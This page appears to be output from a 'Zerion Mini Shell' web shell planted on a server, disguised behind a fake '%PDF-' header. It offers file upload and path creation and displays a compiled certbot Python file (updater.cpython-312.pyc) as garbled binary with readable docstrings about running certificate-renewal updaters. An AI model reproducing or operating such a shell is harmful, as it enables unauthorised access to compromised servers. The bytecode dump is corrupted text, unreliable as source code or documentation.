%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/certbot/_internal/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/certbot/_internal/__pycache__/updater.cpython-312.pyc

�

M/�e���,�dZddlZddlmZddlmZddlmZddlmZddlm	Z
ddlmZdd	l
mZeje�Zd
ej$dej&de
j(d
dfd�Zd
ej$dej&dej,d
dfd�Zdej&dej,d
ej$d
dfd�Zdej&dej,d
ej$d
dfd�Zdej&dej,d
ej$d
dfd�Zy)zUpdaters run at renewal�N)�
configuration)�errors)�
interfaces)�storage)�disco)�	selection)�enhancements�config�lineage�plugins�returnc��|jrtjd�y	tj||�}|rt|||�t|||�yy#t
j$r }tjd|�Yd}~yd}~wwxYw)asRun updaters that the plugin supports

    :param config: Configuration object
    :type config: certbot.configuration.NamespaceConfig

    :param lineage: Certificate lineage object
    :type lineage: storage.RenewableCert

    :param plugins: List of plugins
    :type plugins: certbot._internal.plugins.disco.PluginsRegistry

    :returns: `None`
    :rtype: None
    z"Skipping updaters in dry-run mode.Nz4Could not choose appropriate plugin for updaters: %s)
�dry_run�logger�debug�plug_sel�get_unprepared_installerr�Error�error�
_run_updaters�_run_enhancement_updaters)r
rr�	installer�es     �;/usr/lib/python3/dist-packages/certbot/_internal/updater.py�run_generic_updatersrs|�� �~�~����9�:����5�5�f�g�F�	���g�y�&�1�!�'�9�f�=����<�<�����K�Q�O����s�A�B�+B�Brc���|jrtjd�y|js+t	|t
j�r|j|�t|||�y)a�Helper function to run deployer interface method if supported by the used
    installer plugin.

    :param config: Configuration object
    :type config: certbot.configuration.NamespaceConfig

    :param lineage: Certificate lineage object
    :type lineage: storage.RenewableCert

    :param installer: Installer object
    :type installer: interfaces.Installer

    :returns: `None`
    :rtype: None
    z*Skipping renewal deployer in dry-run mode.N)	rrr�disable_renew_updates�
isinstancer�
RenewDeployer�renew_deploy�_run_enhancement_deployers)r
rrs   r�run_renewal_deployerr",sQ��"�~�~����A�B���'�'�J�y�7A�7O�7O�-Q����w�'��w�	�6�:�c�v�|js-t|tj�r|j	|�yyy)a:Helper function to run the updater interface methods if supported by the
    used installer plugin.

    :param lineage: Certificate lineage object
    :type lineage: storage.RenewableCert

    :param installer: Installer object
    :type installer: interfaces.Installer

    :returns: `None`
    :rtype: None
    N)rrr�GenericUpdater�generic_updates)rrr
s   rrrGs5���'�'��i��!:�!:�;��%�%�g�.�<�(r#c��|jrytjD]-}t||d�s�|ds�t	||d�|��/y)a�Iterates through known enhancement interfaces. If the installer implements
    an enhancement interface and the enhance interface has an updater method, the
    updater method gets run.

    :param lineage: Certificate lineage object
    :type lineage: storage.RenewableCert

    :param installer: Installer object
    :type installer: interfaces.Installer

    :param config: Configuration object
    :type config: certbot.configuration.NamespaceConfig
    N�class�updater_function�rr	�_INDEXr�getattr�rrr
�enhs    rrrZsT�� �#�#���"�"�A���i��W��.�3�7I�3J�7�G�I�s�#5�6�7��@�Ar#c��|jrytjD]-}t||d�s�|ds�t	||d�|��/y)a�Iterates through known enhancement interfaces. If the installer implements
    an enhancement interface and the enhance interface has an deployer method, the
    deployer method gets run.

    :param lineage: Certificate lineage object
    :type lineage: storage.RenewableCert

    :param installer: Installer object
    :type installer: interfaces.Installer

    :param config: Configuration object
    :type config: certbot.configuration.NamespaceConfig
    Nr(�deployer_functionr*r-s    rr!r!qsT�� �#�#���"�"�B���i��W��.�3�7J�3K�8�G�I�s�#6�7�8��A�Br#)�__doc__�logging�certbotrrr�certbot._internalr�certbot._internal.pluginsr�plugin_discorr�certbot.pluginsr	�	getLogger�__name__r�NamespaceConfig�
RenewableCert�PluginsRegistryr�	Installerr"rrr!�r#r�<module>r?sE����!���%�;�;�(�	��	�	�8�	$��>��!>�!>�>��I^�I^�>�".�">�">�>�CG�>�:;��!>�!>�;��I^�I^�;�$.�$8�$8�;�=A�;�6/�7�0�0�/�Z�=Q�=Q�/�'�7�7�/�<@�/�&A�w�'<�'<�A��I]�I]�A�&3�&C�&C�A�HL�A�.B��(=�(=�B�*�J^�J^�B�'4�'D�'D�B�IM�Br#

Zerion Mini Shell 1.0